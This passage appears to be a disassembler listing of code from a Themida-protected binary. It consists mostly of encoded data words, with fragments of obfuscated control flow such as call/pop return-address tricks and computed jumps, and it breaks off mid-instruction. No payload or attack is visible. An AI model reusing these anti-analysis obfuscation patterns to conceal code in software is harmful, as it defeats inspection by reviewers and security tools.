85890000h, 60B2A35h dd 0B0099D8Dh, 0D3FF060Dh, 0C08B585Bh, 159D9D8Bh, 85C6060Bh dd 60B2845h, 0B8526856h, 0B5FF9CA8h, 60B1355h, 7D18858Dh dd 0D0FF060Eh, 68046Ah, 0FF000010h, 0B0F4DB5h, 0FF006A06h dd 0FC085D0h, 0D85h, 0B800h, 8D8D0000h, 60B7305h, 0C88BE1FFh dd 4003C38Bh, 0F8053Ch, 508B0000h, 83D3030Ch, 0B0EB9BDh dd 840F0006h, 0Eh, 0EB99D8Bh, 858B060Bh, 60B26E5h, 52510389h dd 4245858Dh, 0D0FF060Bh, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h dd 60B2845h, 6D396856h, 0B5FFD41Fh, 60B1355h, 7D18858Dh dd 0D0FF060Eh, 800068h, 52006A00h, 0C08BD0FFh, 5BDBD83h dd 7500060Bh, 0D1BD8309h, 60B29h, 53501974h, 21B8C08Bh dd 89000004h, 0B129985h, 819D8D06h, 0FF060DB3h, 83585BD3h dd 0B29D1BDh, 17740006h, 21B85350h dd 89000004h, 0B129985h, 229D8D06h, 0FF060DB0h, 8B585BD3h dd 0B99D8DC0h, 8B060B0Eh, 0FC00B03h, 784h, 8B038B00h, 1889045Bh dd 4B41B8h, 0FDED5500h, 0F67A5E75h, 0E669A476h, 0FD49BC56h dd 0FD20A7EAh, 0FD208948h, 0FD209989h, 0FD2013EFh, 0FD20D6D9h dd 0FD2034B7h, 0FD20459Ch, 0FD20FC7Dh, 0FD20A068h, 0FD208E97h dd 0FD209E6Ch, 0FD2015C1h, 0FD20D722h, 0FD203503h, 0FD2044ECh dd 0FD20FBA8h, 0FD20A7FCh, 358A259Dh, 0D6A22295h, 0DE714A76h dd 0F44BBD5Ch, 0FD7A5A5Ch, 0F5722775h, 0FD799775h, 0FD78CB74h dd 0F57DED73h, 0FC7BF374h, 0FC7B7874h, 0FD7ABC75h, 0FD7A5E75h dd 0A769B276h, 0A7695A75h, 0FD7ACB75h, 0FC7BE475h, 0FC7BF374h dd 0F8B29074h, 701ABC75h, 0ECD1BBF0h, 0E1FFA673h, 707C86DDh dd 0ECD130F0h, 21FF6C73h, 707CE3D2h, 0ECD640F0h, 0E5FF3573h dd 707C4FDDh, 0ECD1B6F0h, 1DFF1E73h, 707CDAD2h, 0ECD1BDF0h dd 19FF7B73h, 707C68D2h, 0ECD34AF0h, 15FFD773h, 707C3ED2h dd 0ECD09FF0h, 11FF4273h, 707CF4D2h, 0ECD0ECF0h, 0DFFF073h dd 707CADD2h, 0ECD027F0h, 1FFA673h, 707C86D2h, 0ECD08EF0h dd 9FF6C73h, 707CE3D2h, 0ECD01DF0h, 5FF3573h, 707C4FD2h dd 0ECD056F0h, 1FF1E73h, 707CDAD2h, 0ECD056F0h, 0F1FF7B73h dd 707C68DDh, 0ECD06EF0h, 0EDFFD773h, 707C3EDDh, 0ECD062F0h dd 0E9FF4273h, 707CF4DDh, 0ECD1CCF0h, 0FDFFF073h, 707CADDDh dd 0ECD12BF0h, 0F9FFA673h, 707C86DDh, 0ECD6DBF0h, 0F5FF6C73h dd 767CE3DDh, 0F678C8F0h, 0A8FF3573h, 767C4FDDh, 0F66DF2F0h dd 0A4FF1E73h, 9C7CDADDh, 11F1B0B6h, 0FD7AF29Dh, 17FB2375h dd 0FB6B151Ch, 0F53FD525h, 552EADFDh, 34229164h, 0AC7ACFB7h dd 0AD29B723h, 0FD7A1A20h, 7C277975h, 0ECD33698h, 26FFA073h dd 7D7C3ED2h, 0ECDD4CC8h, 0B409CF73h, 4B75E4C5h, 89BAF9B5h dd 0A4EF8635h, 0BD7CADDDh, 452B96FEh, 0FD7A2F7Ah, 5523028Ah dd 48F7CD64h, 0FB6B42A9h, 50FCC6F8h, 0FD7E4B9Dh, 456FCF75h dd 0FD7A5E76h, 5523BA8Ah, 48F79164h, 0FB6B6CA9h, 50FCD1F8h dd 1F23228Ah, 26F787BCh, 0A07CADD2h, 0A320052Dh, 6D92EC2Ch dd 4D7A9777h, 5779C1CDh, 552F708Ah, 3ED1F464h, 0FD78079Dh dd 9BC2DA75h, 9B5954CDh, 0A8EFD0DEh, 9B7C86DDh, 959208DEh dd 0B7AE577h, 8872F336h, 0A8EF866Eh, 4D7CADDDh, 0AD7954C5h dd 552FBA8Ah, 9B209164h, 9B7E2BF6h, 561C277Eh, 0FF6B1AB6h dd 15297975h, 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh, 0DF709491h dd 4DBA07F5h, 3ED183FEh, 0FD7B009Dh, 0E1922A75h, 0A77ABC77h dd 120E844Eh, 16D049C5h, 0FCA77FA9h, 0BE8CCB75h, 0D30FED74h dd 0FF7B1A26h, 0B207975h, 8872BD36h, 89A06554h, 3D59A568h dd 0DF709491h, 4DBA07F5h, 6885B5FFh, 0FB6B5A20h, 0FD5F1F2Fh dd 3F71DA51h, 4DB9F513h, 0BD9285E9h, 4D7A9774h, 359261F4h dd 157AE574h, 0FD7AF22Dh, 0FC5791DEh, 60CABC75h, 61CA9DDFh dd 0FC5BC7DFh, 451C9775h, 561C4A13h, 0FD7B439Dh, 0FD4C1A75h dd 561C7975h, 0FD7BB69Dh, 57E7EE75h, 57E69FB6h, 0FD7A699Dh dd 0FCF32375h, 0BE8CE575h, 0F20FFA74h, 15D0F9C5h, 0FD7ABC65h dd 0F99EDEDFh, 1584487Dh, 0FD7A97AAh, 3ED056C5h, 0FD7AE2CDh dd 0A4EF0D75h, 707C68DDh, 0ECD29CC0h, 518A5D73h, 2D02C7Fh dd 0ECD2C2E0h, 0E5920873h, 4D7AE574h, 5779F825h, 2844B9Dh dd 0FC43548Ah, 0A5CA5E75h, 3ED02C7Fh, 4DD0C7C5h, 0E1926127h dd 9B851A8Bh, 9B4BFDCDh, 36B91DEh, 0A7CA438Ah, 5722EEDFh dd 57929FB6h, 0C923C22h, 0A77ACB75h, 3F5122FEh, 747E1AF6h dd 8B9177h, 592438Ah, 4D7A5E75h, 5779252Dh, 2FFF69B6h dd 7D7CDAD2h, 0ECDD37C8h, 0EC0FF373h, 553EFCF8h, 152ABA64h dd 0FD7A5C61h, 0FD781B9Dh, 571A2775h, 287759Dh, 0C30D8Ah dd 9CCA0D8Ah, 2FF787DFh, 7D7CADD2h, 0ECDD8CC8h, 0F10F2F73h dd 553E12F8h, 152ACD64h, 0FD7AE4DEh, 0FD7E4AB6h, 68857975h dd 0FB6B142Ch, 51DBC3F8h, 0F9F02964h, 4DB93D6Dh, 562D619Ch dd 0FD7A8E9Dh, 3AF1A875h, 15F9BB5Eh, 3E783571h, 552FCB8Ah dd 4ACE2964h, 0FF0E9651h, 0F2CA74C1h, 0C9924E13h, 0AE7AF275h dd 0FD7A279Dh, 0FEF0E675h, 0F179BEB5h, 577825B5h, 0A8EF68B6h dd 7D7CDADDh, 39FAEA91h, 9B7542F5h, 15D12EDEh, 285415Ah dd 0D6BDD52Fh, 0F992ACB7h, 45B995FCh, 0FD7ACB73h, 5523708Ah dd 60F7F464h, 0FB6BD14Dh, 3E39A0F8h, 0FD7A4ECDh, 0A4EFD075h dd 7E7C86DDh, 35F1CEB5h, 0A8EF1A89h, 577CE3DDh, 15B98E97h dd 28543BEh, 0D97B1DFFh, 778E5A72h, 0FC6C7F76h, 1608CB75h dd 8831DB6h, 11F1A789h, 9D86BDF6h, 0FD7ABC9Dh, 17FB0475h dd 0FB6B83C4h, 7D86EAFCh, 0ECD29FCFh, 7975E573h, 0FD7AF2ECh dd 0FD7A73CDh, 0A4E84375h, 0BD7C4FDDh, 5527ADFCh, 35F19164h dd 50FF79F8h, 6F85E364h, 0FB6B5A20h, 1F3C7FFDh, 0FD6D0480h dd 7F795E75h, 0FB6B8728h, 84E01A35h, 7E7CDAD8h, 0FEF3E1B6h dd 0FD644B22h, 77797975h, 0FB6B1428h, 501DECF8h, 59892964h dd 0FD722F2Bh, 6F85CB75h, 0FB6B4D2Ch, 897E0AF6h, 447C7185h dd 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h, 0E172CB75h dd 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h, 0FD66E744h dd 0F9722F75h, 15B7F44h, 80F3348Ah, 80F18489h, 0ADB93B89h dd 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh, 0D93E16E9h dd 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h, 0A87ABC75h dd 151AB2FEh, 0FD7A2F75h, 6590162Fh, 707CDAD8h, 0ECD284CFh dd 0F50F7973h, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh, 9CE7A226h dd 7D7C86DDh, 887BD349h, 1683BE71h, 3E82A977h, 9D96F220h dd 0FD7ABC9Dh, 17FB0475h, 0FB6B82A4h, 551B25F8h, 80F1CD64h dd 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h, 0FB6BF614h dd 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 551B58F8h, 0C2FBF464h dd 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h, 9C82969Eh dd 40F7ABB6h, 0FB6B4D14h, 0FD7AF3CDh, 0FD72C075h, 5789BC75h dd 3DF19D14h, 78F7EFFEh, 0FB6B3F1Bh, 0CA8BD08Ah, 0AF238D8Dh dd 6A0611h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 97BD34C3h, 0E29511FFh, 0FCC864Eh, 1987h dd 14E900h, 918C0000h, 703FC36h, 0EA4658Dh, 907C7639h dd 4A4A6CB7h, 0CE92E58h, 0E000000h, 0BCA117Ah, 0A17D0958h dd 891F7C13h, 0B174D8Dh, 1985C706h, 0C0060B01h, 6A00005Ch dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0E404C355h, 6F1858Bh, 11E9060Bh, 53000000h dd 0CAEDC7C6h, 51AFB01Fh, 0F2EB7B4Eh, 0DC6A45CEh, 100985C7h dd 60Bh, 0BE90000h, 66000000h, 43054919h, 13955837h, 0B5FF3510h dd 60B0105h, 16718589h, 95FF060Bh, 60B0AC5h, 0B7F0DA81h dd 8D015DBEh, 60B0425h, 95FF006Ah, 60B32DDh, 2CEBC08Bh dd 1C3F3210h, 674D512Ch, 8DD0E181h, 646A7D88h, 0EEFEDE02h dd 1080D584h, 7813BD18h, 0BA6B39CDh, 210767A3h, 377C6BABh dd 381B886Bh, 7E8h, 0FDBF7B00h, 10786099h, 8E9h, 474AC300h dd 24867633h, 81665A46h, 817AEBDEh, 5F94C2h, 7E800h, 31610000h dd 66A5DC94h, 199D335Eh, 5E060B21h, 17B7B8h, 92E1B900h dd 3A8B26A0h, 0FEB70F60h dd 38A0Fh, 0E8800000h, 0C781616Ah, 6760CA61h, 81FCC580h dd 1E01BDC7h, 0CC03B920h, 0F7811D9Dh, 65507222h, 0E059D89h dd 8957060Bh, 0B09959Dh, 0F028F06h, 8Dh, 4EA8300h, 0C398589h dd 0E883060Bh, 0F850F01h, 0E9000000h, 29h, 14428D92h, 0E4ED9185h dd 8C0FF8E9h, 6, 1998D03h, 8FE9060Bh, 5BFFFFFFh, 0B98F1C90h dd 29682F6h, 6D482528h, 2AE9E4h, 4C70000h, 24h, 0E800h dd 815D0000h, 11B026EDh, 24448B06h, 55858904h, 0B8060B06h dd 0 ; --------------------------------------------------------------------------- lea ecx, [ebp+60B4DD7h] jmp ecx ; --------------------------------------------------------------------------- mov eax, 6754h lea ebx, [ebp+60B3305h] mov eax, 1434h mov [ebp+60B22A5h], eax call $+5 pop eax add eax, 0Dh mov [ebx], eax jmp loc_5A8544 ; --------------------------------------------------------------------------- dd 50Dh dup(0) ; --------------------------------------------------------------------------- loc_5A8544: ; CODE XREF: Themida_:005A710Bj jmp short loc_5A855C ; --------------------------------------------------------------------------- align 4 dd 4 dup(0) dd 1010000h ; --------------------------------------------------------------------------- loc_5A855C: ; CODE XREF: Themida_:loc_5A8544j mov word ptr [ebx], es ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- adc [esi], eax push 0 push edx call sub_5A856D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A856D proc near ; CODE XREF: Themida_:005A8565p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5A856D endp ; --------------------------------------------------------------------------- aas or eax, 7E0FE25Ch fisttp word ptr [edx] and eax, ecx mov edx, [ebp+60B2D7Dh] mov dx, 95D7h nop mov di, 0F97Fh push eax mov ebx, 26515C32h nop mov bl, 24h push 0 push 0 push ecx call sub_5A85AC and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A85AC proc near ; CODE XREF: Themida_:005A85A4p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5A85AC endp ; --------------------------------------------------------------------------- dd 0D81A1012h, 1D041811h, 10E9E7E9h, 0EF000000h, 649CF6EBh dd 9BE62A0Ch, 126ADB9Ch, 6A581D2Dh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 2D190201h dd 6B94A612h, 298D8B17h, 8B060B0Dh, 0B1AAD95h, 42858D06h dd 6A0611C6h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 63F5C353h, 4B3A79F3h, 0CDB8D251h dd 0EE9h, 0C9A8B400h, 781F0257h, 83FDD9B9h, 0FAB40C7h dd 689h, 0D5B52900h, 0F5060B2Eh, 8B525050h, 66310FD0h dd 585AD18Bh, 89240489h, 0B0CD985h, 6A006A06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 9B3DC357h, 0E948318Dh, 0Fh, 18D4843Fh, 34567571h, 7B9719FCh dd 0E811DDA2h, 7, 0F09435CEh, 5B552A15h, 6A006Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 5EF713C3h, 6CD62C0Bh, 95FFD68Bh, 60B2F21h, 58E971B5h dd 0F000006h, 0E8CBBFh, 5D000000h, 0C647ED81h, 6A0611h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0F44B9C3h, 0C88h, 68A0F00h, 29000000h, 0B2ED58Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 7B027D5h, 846DE890h, 9D2B8C82h, 60B2E25h, 2F39BB66h dd 4E8h, 0FA000h, 8B566000h, 57515ECEh, 50615E5Ah, 0A6A4BB66h dd 424448Bh, 7E9h, 886DA400h, 79D3FE5Dh, 0D38B008Bh, 4244489h dd 8B665250h, 60310FD8h, 0DA8BD58Ah, 58585A61h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 76C35343h, 0A1144EE0h dd 95FFF984h, 60B32DDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0FC35747h, 0C23C4143h, 8D0BEF7Bh, 11C4A2B5h dd 0FA3EBB06h, 6C72FDAh, 6D676552h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 48C35040h, 0F0FE2825h, 66AF7E5Fh dd 56DAEA81h, 6F0446C7h, 666C636Eh, 0C748A0BAh, 73610846h dd 6A0073h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 0A6CB3AC3h, 7D91F5B3h, 6A178DF9h, 0A2858D00h dd 0E80611C4h, 9, 0C409E118h, 3BFBA081h, 618D8BFEh, 5B060B23h dd 8B525050h, 50310FD3h, 56A6BF66h, 89585A5Ah, 6A2404h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 62C4D4C3h, 0FE8BBF18h, 1F718529h, 8589060Bh, 60B1A59h dd 0EE595FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 3B0DECC3h, 295148D8h, 0B33819Dh dd 0F9B55F06h, 840FC00Bh, 4Ch, 27B59D8Bh, 0BD8B060Bh, 60B15B5h dd 42BE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 8372A7D0h, 362662D2h, 11E9302Bh dd 5C000000h, 0FBD09F93h, 68A0988Bh, 4ED00CCAh, 894FFB04h dd 4E8h, 12C00h, 0DFBF5000h, 8B4B2C41h, 50042444h, 2F9FBB52h dd 310F7225h, 517D00B9h, 8B585A50h, 892BB700h, 0BF042444h dd 6845430Fh, 4DDB8058h, 32DD95FFh, 6A060Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 56F954C3h dd 0B0F32C0h, 0B1AAD95h, 0A2B58D06h, 30611C4h, 0B2F5D9Dh dd 3106C706h, 0E8363438h, 0Bh, 5CB57CB1h, 0E3E7E8CAh, 8162C3DBh dd 61164ED2h, 46C75F54h, 342D3704h, 52006A31h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 583351DAh dd 46C760A1h, 8, 0CE800h, 91260000h, 43457188h, 0DB188EF7h dd 0F516AE6h, 85h, 8A5F5900h, 0F006AF4h, 688h, 6D8D0300h dd 66060B28h, 858DF98Bh, 611C4A2h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 19C35242h, 6875CBBFh, 0AFBE4649h dd 13E950h, 89900000h, 2ECDB777h, 5CA8F193h, 0D59E604Fh dd 9A1DE7A2h, 50905A12h, 9E8h, 57BE3E00h, 0B9631B21h, 1DB37B62h dd 90505959h, 11E960h, 0CD790000h, 0B0DD3B30h, 0CE8C565Dh dd 0B868CEFFh, 8B0AAF23h, 0B20BDBDh, 95FF6106h, 60B0EE5h dd 59BD8BF5h, 0B060B2Eh, 56840FC0h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0CAABC353h, 0E5CB4FEDh, 800884C3h, 51E9FAC9h, 6A000002h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 43B2C355h, 21409D3Ah, 31517F2Eh, 0B12BDBDh dd 1BF6806h, 8E0F9A90h, 14h, 0E810Fh, 9E90000h, 91000000h dd 0E386BFFEh, 20CC7768h, 6D240481h, 0FF656FFFh, 0B32DD95h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 66C6B392h, 8D65ABBAh, 11C4A2B5h, 0C7ABB606h dd 6C694606h, 919D8965h, 0F060B29h, 586h, 7C77B900h, 46C70DDFh dd 6E6F6D04h, 38C0F63h, 0F000000h, 46C7F9B7h, 73616C08h dd 3D9D3373h, 0C7060B10h, 0C46h, 8D310000h, 60B162Dh, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0D8EECAC3h, 0F8319D85h, 8B66613Dh, 0A2858DD0h, 6A0611C4h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 27BCC357h, 487EBF66h, 2A118589h, 6090060Bh dd 5061DDB0h, 0D98B6660h, 6A9061h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 4BAFCAC3h, 0D14FD334h dd 0FFE6C418h, 0B0EE595h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 8B60AD4Eh dd 0E9958BD3h, 61060B23h, 840FC00Bh, 99h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 19h, 3EC35747h, 424CA399h dd 19840F1Dh, 0E9000000h, 14h, 0CA51F3BBh, 0FC85C14Bh dd 0F547EC78h, 7EB3A19Dh, 6F55F49Bh, 0F9BF0F60h, 0D840Fh dd 7E80000h, 27000000h, 0F8D12F87h, 6159AE5Dh, 75E963B1h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 5DA5C350h, 624A14B9h, 14E9h, 0EA88A400h dd 0C087C210h, 0B0CDF93Dh, 6CDCCDEDh, 0DA817EF9h, 0FA00E905h dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 21F7FCC3h, 8E83C3Bh, 0BA000000h, 0F31ACD6Bh dd 0B981A906h, 243DFBCEh, 0DF8B6659h, 7305B58Dh, 0BB66060Bh dd 0B8FCCCh, 0E9000000h, 6, 62F2F7B7h, 0E6FF3A06h, 8B84EB80h dd 3BE9C1h, 8B600000h, 0B14F1BDh, 4EF8306h, 0C18BC933h dd 0B88320BBh, 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h dd 0FFFFFFF1h, 81078941h, 100F9h, 0D3820F00h, 61FFFFFFh dd 0E8C88BC3h, 12h, 8F1F6F26h, 0C8E72702h, 0EC866EEEh dd 5B1ECCB5h, 8D8927CFh, 60B090Dh, 12E959h, 17240000h dd 62828A8Fh, 0D3353776h, 0E9E589FEh, 0B0D2991Fh, 6A80C181h dd 85890000h dd 60B3281h, 5A2163B8h, 6C0815Eh, 89A1A5F9h, 0B07C5BDh dd 8B31FF06h, 0B22E99Dh, 0BD8B5E06h, 60B05F5h, 9E49F681h dd 952924AEh, 60B29B9h, 0A4D0F681h, 0BD8B5937h, 60B0241h dd 4CE5F681h, 8E93D9Ch, 16000000h, 0DCF2103h, 8957B86Ch dd 0DE831h, 0F0D0000h, 45FF2B53h, 111BFFC1h, 0B6683879h dd 0E9835AA6h, 850F4804h, 18h, 0CA01F281h, 2DE91A34h, 29000000h dd 48AEF3A2h, 0DA354CACh, 0A1583351h, 68B0Fh, 0BD8B0000h dd 60B2885h, 0FFFF7CE9h, 0FDD15AFFh, 8008B3CBh, 3B8EB88Dh dd 4A23A583h, 2DCACAFEh, 0A5A9A80Bh, 32118A4Fh, 0D5ABA80Bh dd 32E975EAh, 0BB57A80Bh, 5DBA8A4Fh, 0BB0C57AEh, 33D98A4Fh dd 0D5ABA80Bh, 33A075EAh, 0B872A80Bh, 30228A4Fh, 0B8FCA80Bh dd 30A48A4Fh, 0D5ABA80Bh, 2F2575EAh, 3B9A43D4h, 60C00313h dd 0A752B99Ch, 0B38AD390h, 0ECD12157h, 2F439BD8h, 3B9B18D4h dd 68C00313h, 0A752B99Ch, 0B3958290h, 0F8D12157h, 2F439BD8h dd 3B84F7D4h, 74C00313h, 0A752B99Ch, 0B3953E90h, 0F4D12157h dd 2F439BD8h, 3B8450D4h, 40C00313h, 0A752B99Ch, 0B394CB90h dd 0C0D12157h, 2F439BD8h, 3B852AD4h, 4CC00313h, 0A752B99Ch dd 0B3944990h, 0D8D12157h, 2F439BD8h, 3B86ACD4h, 54C00313h dd 0A752B99Ch, 0B397B790h, 0D0D12157h, 0C3439BD8h, 2A5012B8h dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45444B0h dd 2AA8ED96h, 29458A15h, 0E367A024h, 0ADBAB496h, 2A54A1D5h dd 64C6CB15h, 0D5BA4155h, 63CE75EAh, 3D893AAEh, 42848C1Eh dd 2211AB53h, 5D55FFEAh, 3AABA424h, 0C3B9CF9Ch, 0E3A8EDDAh dd 0F74586D7h, 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h dd 6C54A851h, 0A24162ADh, 0EA660351h, 2FEE27BFh, 3BFDD7DBh dd 12947513h, 0A0D90201h, 0A454236Ah, 0A1EC79AEh, 941AE51h dd 832B22DCh, 73BA8C04h, 2ADF1037h, 28C82173h, 2C45012Eh dd 2BFD5BEAh, 81508C15h, 0B3A0098h, 0FBABAE40h, 89EFD2A5h dd 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h, 4AA86CD2h dd 0A2458AFDh, 0C0D5F251h, 0A4544570h, 0A15CDDDAh, 0E7828668h dd 2A54A8ADh, 30BACC15h, 2C5FAAE0h, 69CE529Eh, 0B99783FCh dd 31EFE2A5h, 0A0D9F9FAh, 0A454236Ah, 9A0D79AEh, 1A232094h dd 81328C55h, 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h dd 21A90140h, 0C2345495h, 0A2458A15h, 96BE290Bh, 29439BDAh dd 57DFA024h, 5E004D19h, 2A54A851h, 13D77553h, 0A152A353h dd 69CE19CDh, 0B9979BFCh, 31EFE2A5h, 0A0D9F9FAh, 0A454236Ah dd 9A0D79AEh, 1A232094h, 81328C65h, 0DF6E2184h, 0D629215Dh dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h dd 0D6116F5Dh, 0A2458A15h, 0C9953BFDh, 9197B91Dh, 0F2DE0491h dd 0A2454A38h, 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h dd 25862DA0h, 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h dd 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h, 66C6669Eh dd 5FDFC8ADh, 0AE38011Dh, 2AA8ED96h, 0E458A15h, 22B769C2h dd 62765826h, 78C22FDh, 0A2458AD5h, 25AB54D1h, 0A2459391h dd 2A5D1151h, 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h dd 91EF4B93h, 577F0391h, 5E380319h, 0D6112330h, 0A24D48DCh dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h dd 229D00B9h, 0E1D4A7B2h, 8860085h, 832B22DCh, 73BA8C04h dd 0A7FEF8E1h, 0B3ECF59Fh, 0A0855757h, 0DF6E20D6h, 0D629215Dh dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h dd 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 7FD77515h, 2652A346h dd 28C82045h, 2C45012Eh, 2BF55BEAh, 86949BFBh, 622E8531h dd 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh dd 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h dd 0D5FE0451h, 0A9473B87h, 868C2357h, 2FEF4917h, 3BFDD7DBh dd 0C4947513h, 4CBD28E9h, 88600BEh, 0A358D57Ah, 29247668h dd 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh dd 0A2457650h, 80F8A851h, 0A0F418EAh, 0E2DFAE5Ah, 88558B9h dd 832B32DCh, 71BA8C04h, 0E3941037h, 63CF2173h, 262983FBh dd 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h dd 26292359h, 0A2B9CFD2h, 8654A851h, 13D775BFh, 0A152A353h dd 637726DDh, 55CE25FBh, 5D439BBCh, 0AAECCE82h, 28EEECE4h dd 577F0290h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h dd 0B0D90337h, 0A454236Ah, 92327BAEh, 9234B95h, 1FE04FDh dd 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h dd 0B3ECF58Fh, 9A875757h, 0E0320A0h, 55CE25FBh, 5D439BBCh dd 0ACECCE82h, 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A4545898h dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 0E8CE2559h, 0F1439BD8h dd 0E4CD32DCh, 71BA8C04h, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh dd 38C88260h, 2C456583h, 3BDF0746h, 0D552B99Fh, 5E0003C6h dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 0B388548Fh, 0B0D9FB57h dd 0A454448Ch, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h dd 0E7BE32DCh, 2F168C04h, 3B9A31CBh, 2B967513h, 2ABD5414h dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 0D43F8D8Dh dd 6A0611h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 3D4B26C3h, 99858942h, 66060B2Ah, 8969C7BAh dd 0B174D8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 8AC176F4h, 29858B24h, 0C7060B03h dd 0B011985h, 5BBC06h, 0C0BE6600h, 985C737h, 60B10h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 606CC356h, 0DF9958Bh, 0AE9060Bh, 0DE000000h dd 0A4FE74EFh, 0C3B2F629h, 0BD31616Bh, 60B2E71h, 1A31B5FFh dd 850F060Bh, 0 ; --------------------------------------------------------------------------- call dword ptr [ebp+60B0AC5h] push 0 push ebp call sub_5A94C5 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A94C5 proc near ; CODE XREF: Themida_:005A94BDp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5A94C5 endp ; --------------------------------------------------------------------------- mov dword ptr [ebx-11h], 0BEBD45F3h push 0 call dword ptr 